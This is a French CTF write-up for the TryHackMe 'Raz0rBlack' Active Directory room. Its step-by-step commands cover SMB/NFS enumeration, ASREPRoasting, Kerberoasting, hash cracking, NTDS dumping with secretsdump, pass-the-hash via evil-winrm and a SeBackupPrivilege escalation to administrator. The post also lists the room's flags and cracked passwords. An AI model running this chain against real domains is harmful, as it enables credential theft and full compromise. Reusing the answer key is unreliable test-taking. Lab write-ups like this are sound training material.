RazorBlack – WriteUp tuto- TryHackMe – Fr

Raz0rBlack est un excellent CTF de TryHackMe qui orienté sur l’exploitation de Kerberos ( ASREPRoast, Kerberosting) par le biais d’une énumération SMB et NFS

Enumération

nmap -T5 -p- 10.10.13.255

 
  • What is the Domain Name?

raz0rblack.thm

La première réponse à trouver est le nom de domaine. Ça peut ne pas paraitre évidant, mais lorsque qu’il y a les ports 53, 88, 389, 464, 636 sont ouverts cela signifie que l’on est certainement face à un contrôleur de domaine Active Directory. Le nom de domaine est donc une information importante. Pour l’obtenir, en règle générale ce n’est pas compliqué. Des outils comme nmap, enum4linux peuvent nous fournir cette information.

Commande nmap ( sur le port 3389 ) :

nmap -sV -p 3389 « ––script=banner » 10.10.13.255

Commande nmap ( sur le port 389 (ldap) ou 3268 ) :

nmap -sV -p 389,3268 10.10.13.255

Commande enum4linux :

enum4linux 10.10.13.255

 

Enumération NFS

  • What is Steven’s Flag?

THM{ab53e05c9a98def00314a14ccbfa8104}

Pour cette question, j’ai trouvé la réponse par hasard, sans chercher le flag. C’est en énumérant le partage NFS que je suis tombé dessus. Pour énumérer le port 111, on peut utiliser plusieurs outils la aussi. ( nmap, showmount…)

Commande avec nmap :

nmap -sV –script=nfs* 10.10.48.153 -p 111

Commande showmount :

showmount -e 10.10.2.190

 

Montage du volume users :

Avant de le monter il faut créer un dossier de destination.

mkdir razor

mount -t nfs 10.10.2.190:/users razor/

On a deux fichiers.

  • sbradley.txt
  • employee_status.xlsx

Le fichier sbradley.txt contient le flag mais aussi il correspond au nom d’un utilisateur ou plus tôt à son login : sbradley. C’est probablement le format pour les logins.

Le fichier employee_status.xlsx quant à lui donne une liste des prénoms ;noms qui va nous servir à récupérer des hashes.

ASREPRoast

Avec cette liste d’utilisateur on va créer un fichier de login « pnom » et voir avec GetNPUsers.py si certains comptes ont la pré-authentification de configurer. ( PREAUTH ) Pour cela, il nous faut une liste d’utilisateur ( que l’on vient de créer ) et le nom de domaine. Nous l’avons obtenu plus haut.  ( RAZ0RBLACK.THM )

Commande :

python3 GetNPUsers.py ‘RAZ0RBLACK.THM/’ -usersfile users_razor2 -no-pass -dc-ip 10.10.2.190

On obtient un hash que l’on va casser avec hashcat. Le site hshcat liste les différents formats que le logiciel est capable de cracker.

Commande :

.\hashcat64.exe -m 18200 -a 0 .\hash2.txt .\rockyou.txt

Enumération SMB

Avec ce login/motdepasse, on va voir si nous avons des accès sur les partages SMB via l’outil smbmap.

Commande :

smbmap -H 10.10. 2.190 -u twilliams -p roastpotatoes

IPC$ est en read only, il est donc possible de lister les utilisateurs du domaine avec au moins deux outils : crackmapexec et lookupsid

Commande crackmapexec :

crackmapexec smb 10.10.0.30 -u ’twilliams’ -p ‘roastpotatoes’ –rid-brute

Commande lookupsid :

python3 lookupsid.py twilliams@10.10.0.30

 

Nous récupérons une nouvelle liste d’utilisateur :

  • xyan1d3
  • lvetrova
  • sbradley
  • twilliams

J’ai été bloqué plus ou moins longtemps sur cette partie. Finalement, j’ai tenté de voir si le mot de passe n’aurait pas été réutilisé. À nouveau avec crackmapexec, il est possible de faire cette vérification.

Commande :

crackmapexec smb 10.10.0.30 -u users_razor -p password_razor

L’utilisateur sbradley doit changer son mot de passe. Bien, nous allons le changer avec smbpasswd.

Commande :

smbpasswd -r 10.10.0.30 -U sbradley

 

Enumération SMB - avec sbradley

Maintenant que l’on connait le mot de passe de sbradley, nous allons énumérer les partages SMB.

Commande :

smbmap -H 10.10.170.110 -u sbradley -p ‘toto1234’

L’accès au dossier trash est maintenant possible. Nous allons récupérer tous les fichiers.

Commande :

smbclient \\\\10.10.170.110\\trash -U sbradley

mget *

  • What is the zip file’s password?

electromagnetismo

Récupération des données du fichier experiment_gone_wrong.zip. Comme il est verrouillé par un mot de passe, il faut utiliser john pour pouvoir cracker le mot de passe.

Commande :

zip2john experiment_gone_wrong.zip > experiment_gone_wrong.zip.john

john experiment_gone_wrong.zip.john –wordlist=/usr/share/wordlists/rockyou.txt

Le fichier zip contient un fichier system.hive et ntds.dit. Ils contiennent les mots de passe du système. On va les utiliser pour accèder au système.

  • What is Ljudmila’s Hash?

f220d3988deb3f516c73f40ee16c431d

  • What is Ljudmila’s Flag?

THM{694362e877adef0d85a92e6d17551fe4}

Auparavant, il faut les extraire. Pour cela, il faut utiliser l’outil secretdump d’Impacket.

Commande :

python3.9 secretsdump.py -system /root/trytohackme/RAZ0RBLACK/system.hive -ntds /root/trytohackme/RAZ0RBLACK/ntds.dit LOCAL > razor_ntds.dit

Le fichier contient de très nombreuses lignes contenant des hashes de mot de passe. Il faut extraire uniquement les hashes. Pour cela, on peut utiliser l’outil cut.

cat ntds.razor | cut -d « : » -f 4 > razor.hashes.cut

Avec la liste de hash, on va a nouveau utilise crackmapexec et voir si un des hash permet d’accèder au système.

crackmapexec smb 10.10.170.110 -u users_razor2 -H razor.hashes.cut

On obtient le hash de lvetrova. On va essayer de se connecter avec evil-winrm.

Commande :

ruby evil-winrm.rb -i 10.10.170.100 -u lvetrova  -H f220d3988deb3f516c73f40ee16c431d

A la racine du dossier de l’utilisateur lvetrova, se trouve un fichier lvetrova.xml qui contient un mot de passe encodé. Pour en savoir plus sur comment décoder le fichier, je vous invite à aller sur ce site.

Commande :

$Credential = Import-Clixml -Path « .\lvetrova.xml »

$Credential.GetNetworkCredential().password

Kerberoasting

Nous avons trois informations :

  • Le nom de domaine
  • un nom d’utilisateur
  • un hash

Elles vont nous permettre de récupérer le hash d’un autre utilisateur avec cette commande :

python3.9 GetUserSPNs.py -dc-ip 10.10.5.149 raz0rblack.thm/lvetrova -hashes f220d3988deb3f516c73f40ee16c431d:f220d3988deb3f516c73f40ee16c431d -outputfile hashes.razor

  • What is Xyan1d3’s password?

cyanide9amine5628

What is Xyan1d3’s Flag?

THM{62ca7e0b901aa8f0b233cade0839b5bb}

Cassage du mot de passe

Même principe que tout à l’heure, il faut determiné le type de hash.

Commande :

.\hashcat64.exe -m 13100 -a 0 .\hash2.txt .\rockyou.txt

 

Acces au compte xyan1d3

ruby evil-winrm.rb -i 10.10.5.149 -u xyan1d3 -p cyanide9amine5628

 

Escalade de privilège

Comme souvent sur Windows, l’une des premières commande à effectuer est whoami /all.

On peut voir que le privilège SeBackupPrivilege est activé. Plusieurs sites montre comment faire. On retrouve aussi cette escalade de privilège sur la box Fusion Corp

Ce qu’on va faire, c’est monté le disque c : sur un disque temporaire afin d’extraire le fichier ntds.dit et la clé de registre system.

Création fichier diskshadow.txt :

Une fois le fichier créer, il faut créer un dossier /temp à la racine du disque dur et ensuite uploader le fichier shadow.txt à l’intérieur.

Commande :

upload shadow.txt

Une fois copié, il faut exécuter la commande suivante pour monter une copie du disque c :

Commande :

diskshadow.exe /s c:\temp\diskshadow.txt

Afin d’extraire le contenu de ntds.dit et system, il faut utiliser ses deux fichiers dll.

  • SeBackupPrivilegeCmdLets.dll
  • SeBackupPrivilegeUtils.dll

Ils sont disponibles à cette adresse.

Commande :

upload SeBackupPrivilegeCmdLets.dll

upload SeBackupPrivilegeUtils.dll

Importation des modules :

import-module .\SeBackupPrivilegeUtils.dll

import-module .\SeBackupPrivilegeCmdLets.dll

Extraction des fichiers :

copy-filesebackupprivilege h:\windows\ntds\ntds.dit C:\temp\ntds.dit -overwrite

reg save HKLM\SYSTEM c:\temp\system

Téléchargement des fichiers :

upload ntds.dit

upload  system

Récupération du hash du compte administrator :

python3.9 secretsdump.py -system /root/tools/windows/initial_shell/evil-winrm/system -ntds /root/tools/windows/initial_shell/evil-winrm/ntds.dit LOCAL

Accès au compte administrator

ruby evil-winrm.rb -i 10.10.5.149 -u administrator -H 9689931bed40ca5a2ce1218210177f0

 

Il faut prendre le code en hex et le decoder avec cyberchef

  • What is the root Flag?

THM{1b4f46cc4fba46348273d18dc91da20d}

  • What is Tyson’s Flag?

THM{5144f2c4107b7cab04916724e3749fb0}

type definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_not_a_flag.exe

  • What is the complete top secret?
:wq

cd « C:\Program Files\Top Secret »

That’s all folks

Si vous avez apprécier ce write-up n’hésitez pas à le partager!!!!